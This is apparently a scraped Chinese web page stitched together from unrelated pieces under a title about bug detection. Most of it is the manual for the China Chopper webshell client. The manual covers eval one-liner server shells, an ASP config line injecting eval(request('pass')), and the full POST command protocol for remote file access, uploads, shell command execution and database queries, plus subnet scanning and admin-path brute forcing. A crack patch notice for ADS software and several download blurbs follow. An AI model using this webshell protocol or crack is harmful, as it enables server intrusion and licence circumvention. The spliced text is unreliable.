基于路径分析和迭代蜕变测试的Bug检测

产品名称：中国菜刀(Chinachopper)生产厂家：中国菜刀贸易有限公司厂家地址：http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明： 请使用者注意使用环境并遵守国家相关法律法规！ 由于使用不当造成的后果本厂家不承担任何责任！----------------------------------------------------------------------------------------------------------友情提示：程序在使用过程中难免有各种BUG，到官网看一下是否有更新吧，说不定己经修补了呢。
UINCODE方式编译，支持多国语言输入显示。
在非简体中文环境下使用，自动更换成英文界面，翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分　　1）要了解的　　服务端只需要简单的一行代码，即可用此程序实现常用的管理功能，功能代码二次编码后发送，过IDS的能力大幅提高。
　　目前支持的服务端脚本：PHP,ASP,ASP.NET，并且支持https安全连接的网站。
　　在服务端运行的代码如下：　　PHP:　　ASP:　　ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)　　Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
　　2）怎么用　　在主视图中右键/添加，在弹出的对话框中输入服务端地址，连接的密码(请注意上例中的pass字串)，选择正确的脚本类型和语言编码，　　保存后即可使用文件管理，虚拟终端，数据库管理三大块功能，同时支持自定义的脚本执行，并可以导入导出数据。
　　要是其它都没错误，那么可能就是你把语言编码选错了。
　　1.文件管理：[特色]缓存下载目录，并支持离线查看缓存目录;　　2.虚拟终端：[特色]人性化的设计，操作方便;(输入HELP查看更多用法)　　3.数据库管理：[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)　　注意：由于服务器的安全设置，某些功能可能不能正常使用。
　　3)关于配置信息怎么填？ A)数据库方面： PHP脚本： 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址，如localhost 数据库用户连接数据库的用户名，如root 数据库密码连接数据库的密码，如123455 ASP和ASP.NET脚本： 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时，支持NT验证登录MSSQL数据库，并能把查询的结果列表导出为html文件 Customize脚本： 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行)： MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面： 添加额外附加提交的数据，如ASP的新服务端是这样的： 那么，菜刀在配置处填入： SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包：会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456　　3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描　　蜘蛛爬行，绑定域名查询，目录爆破。
　　命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器，并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行，并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行，过滤重复URL加快速度 加上{filter} G)爆破功能，%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE，否则包含关键字为TRUE list.txt为当前目录下的文件，可设为绝对路径，注意：不要包含太多的行。
注：从20100626版开始，list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒　　当闹钟来用吧,周期：每月/每周/每日/只一次。
四、快速启动　　一些常用的快捷方式放在这里，可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器　　就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分　　等待加入。
文件说明：------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例：菜刀客户端填写的密码为pass，网页编码选的是GB2312注：所有参数都以POST提交，返回的数据都要以-＞|为开始标记，|＜-为结束标记注：返回的错误信息开头包含ERROR://注：\t代表制表符TAB，\r\n代表换行回车，\n代表回车注：数据库配置信息是一个字符串，服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交：pass=A&z0=GB2312返回：目录的绝对路径\t，如果是Windows系统后面接着加上驱动器列表示例：c:\inetpub\wwwroot\ C:D:E:K:示例：/var/www/html/ [目录浏览]提交：pass=B&z0=GB2312&z1=目录绝对路径返回：先目录后文件,目录名后要加/，文件名后不要加/示例： 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交：pass=C&z0=GB2312&z1=文件绝对路径返回：文本文件的内容[写入文本文件]提交：pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回：成功返回1,不成功返回错误信息[删除文件或目录]提交：pass=E&z0=GB2312&z1=文件或目录的绝对路径返回：成功返回1,不成功返回错误信息[下载文件]提交：pass=F&z0=GB2312&z1=服务器文件的绝对路径返回：要下载文件的内容[上传文件]提交：pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回：要下载文件的内容[复制文件或目录后粘贴]提交：pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回：成功返回1,不成功返回错误信息[文件或目录重命名]提交：pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回：成功返回1,不成功返回错误信息[新建目录]提交：pass=J&z0=GB2312&z1=新目录名(绝对路径)返回：成功返回1,不成功返回错误信息[修改文件或目录时间]提交：pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式：yyyy-MM-ddHH:mm:ss)返回：成功返回1,不成功返回错误信息[下载文件到服务器]提交：pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回：成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交：pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回：命令执行结果[得到数据库基本信息]提交：pass=N&z0=GB2312&z1=数据库配置信息返回：成功返回数据库(以制表符\t分隔)，不成功返回错误信息[获取数据库表名]提交：pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回：成功返回数据表(以\t分隔)，不成功返回错误信息[获取数据表列名]提交：pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回：成功返回数据列(以制表符\t分隔)，不成功返回错误信息[执行数据库命令]提交：pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回：成功返回数据表内容，不成功返回错误信息注意：返回的第一行为表头，接下去每行分别在列表中显示，列数要求一致。
行中的每列后加上\t|\t标记，每行以标记\r\n为结束

本帖最后由chip2222于2018-11-2122:08编辑重要声明：本和谐补丁仅提供用于学习与熟悉ADS操作之目的，任何情况下不得用于商业盈利的目的，若用于商业盈利，请用Delete_Crack.bat命令自行卸载本补丁，否则由此引起的法律纠纷，本人概不负责！特别说明：本和谐文件中，应用了SSQ的通用的FlexLMECC和谐补丁，特此声明感谢。
本和谐文件中的license文件为原创，如有引用，请注明出处，谢谢。
本和谐补丁经过测试，可以在Windows7下正常运行，其他Windows版本未作测试。
经测试，在ADS2017版中发现的Bug，包括Layout版图、VIA设计、电容优化等功能均可正常运行，欢迎各位网友继续测试其他功能，如有发现，欢迎在本贴中提出，本人将持续改进。

V0.6.0:加入文件拖放功能。
V0.5.5：修正建立新的配置文件时，保存失败的Bug。
V0.5.4：修正数制计算器中输入A-F时的bug，增加源数据存储类型选择。
0.5.3：修改图标，部分界面。
0.5.2:About界面修改，添加更新网址。
0.5.1：修正块另存时新建文件保存失败的Bug。
0.5：新增文件内、文件间块移动、复制、交换、另存等功能0.4：新增转换为二进制后比较功能本人继MCUTool以后的另外一个单片机开发实用工具软件，用于单片机调试过程中简单的参量修改，省略修改源代码、再编译的过程，直接修改目标文件。
尤其是对eeprom数据的修改、调整更为方便实用。
本软件编写的目的是用来编辑存放于单片机Flash或EEPROM中的数据，支持IntelHex格式以及MotorolaS格式的数据文件，也可以编辑二进制的内存映射文件。
数据的编辑可以通过常量定义的方式，也可以通过内存映射的方式进行。
同时可以在两种16进制格式文件之间相互转换。
格式转换以行数据为单位，以确保转换前后数据不会改变。
另外提供十进制、十六进制转换器，转换结果可以作为普通显示或作为内存映射，作内存映射时可以选择多字节数据的存储方式。
二进制比较功能，通过不同工具生成的Hex文件可能因为格式而无法进行文本方式比较，本工具可以首先转换为二进制数据再进行比较，免去自行转换的麻烦。
单文件内/双文件间的块操作，包括复制、移动、交换、另存等等，方便实验数据提取、复制。

这个网上书城系统使用Eclipse开发的，代码完整，jar包齐全，sql脚本包含在里面，将下载下来的项目导入到Eclipse中即可运行，本项目做了很多校验，对可能出现的bug做了考虑，属于比较完善的系统。
本系统包含九个模块，前台模块分为：用户模快，分类模块，图书模块，购物车模块，订单模块；
后台模块分为：管理员模块，分类管理模快，图书管理模快，订单管理模块。
书城界面简洁，易于操作，简单易懂，代码均有注释，各模块功能完善。
各大模块的功能描述：前台：1).用户模块功能有：*用户注册:＞表单页面是jQuery做校验(包含了ajax异步请求)#在输入框失去焦点时进行校验；
#在提交时对所有输入框进行校验；
#在输入框得到焦点时，隐藏错误信息。
＞表单页面使用一次性图形验证码；
＞在servlet中再次做了表单校验。
*用户登录：＞表单校验与注册功能相同；
＞登录成功时会把当前用户名保存到cookie中，为了在登录页面的输入框中显示！*用户退出：销毁session2).分类模块*查询所有分类：＞有1级和2级分类＞在页面中使用手风琴式菜单(Javascript组件)显示分类。
3).图书模块：*按分类查询*按作者查询*按出版社查询*按书名模糊查询*多条件组合查询*按id查询除按id查询外，其他都是分页查询。
技术难点：＞组合查询：根据多个条件拼凑sql语句。
＞带条件分页查询：条件可能会丢失。
使用自定义的PageBean来传递分页数据！＞页面上的分页导航：页码列表的显示不好计算！4).购物车模块：*添加条目*修改条目数量*删除条目*批量删除条目*我的购物车*查询被勾选条目购物车没有使用sesson或cookie，而是存储到数据库中。
技术难点：＞添加条目时，如果两次添加针对同一本书的条目，不是添加，而是合并；
＞修改数量时使用ajax时请求服务器端，服务器端返回json。
＞大量js代码5).订单模块：*生成订单*我的订单*查看订单详细*订单支付*订单确认收货*取消订单后台1).管理员*管理员登录2).分类管理*添加1级分类*添加2级分类:需要为2级分类指定所属1级分类*编辑1级分类*编辑2级分类:可以修改所属1级分类*删除1级分类:存在子分类时，不能删除*删除2级分类:当前2级分类下存在图书时不能删除*查看所有分类3).图书管理*各种查询：与前台相同*添加图书:＞上传图片＞页面中使用动态下拉列表显示2级分类，当指定1级分类后，2级分类下拉列表中动态显示该1级分类下所有2级分类名称*修改图书:与添加图书相似，也使用动态下拉列表*删除图书:需要删除图书对应图片，再删除图书4).订单管理*各种查询*订单发货*订单取消

Lee滤波、Kuan滤波和frost滤波的MATLAB源代码，无bug。

修改了包名，可以直接运行，没有bug。
之前找的都有问题不能用。
亲测可用，谢谢支持。

用于bug记录以及bug分析的模板，适合多种统计方式分析，以及问题记录详细信息

C#火车票系统源码，含数据库，含源码，绝对能运行，没有大的BUG

android蓝牙串口客户端，通过与蓝牙串口配对（自动扫描设备），可以实现按数据帧发送和接收数据，考虑到android蓝牙操作顺序，对各种bug都有处理。

在日常工作中，钉钉打卡成了我生活中不可或缺的一部分。然而，有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚，我总是得牢记打开钉钉应用，点击"工作台"，再找到"考勤打卡"进行签到。有时候因为工作忙碌，会忘记打卡，导致考勤异常，影响当月的工作评价。而且，由于我使用的是苹果手机，有时候系统更新后，钉钉的某些功能会出现异常，使得打卡变得更加麻烦。 另外，我的家人使用的是安卓手机，他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说，每次打卡都是一次挑战。他们总是担心自己会操作失误，导致打卡失败。 为了解决这些烦恼，我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习，我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。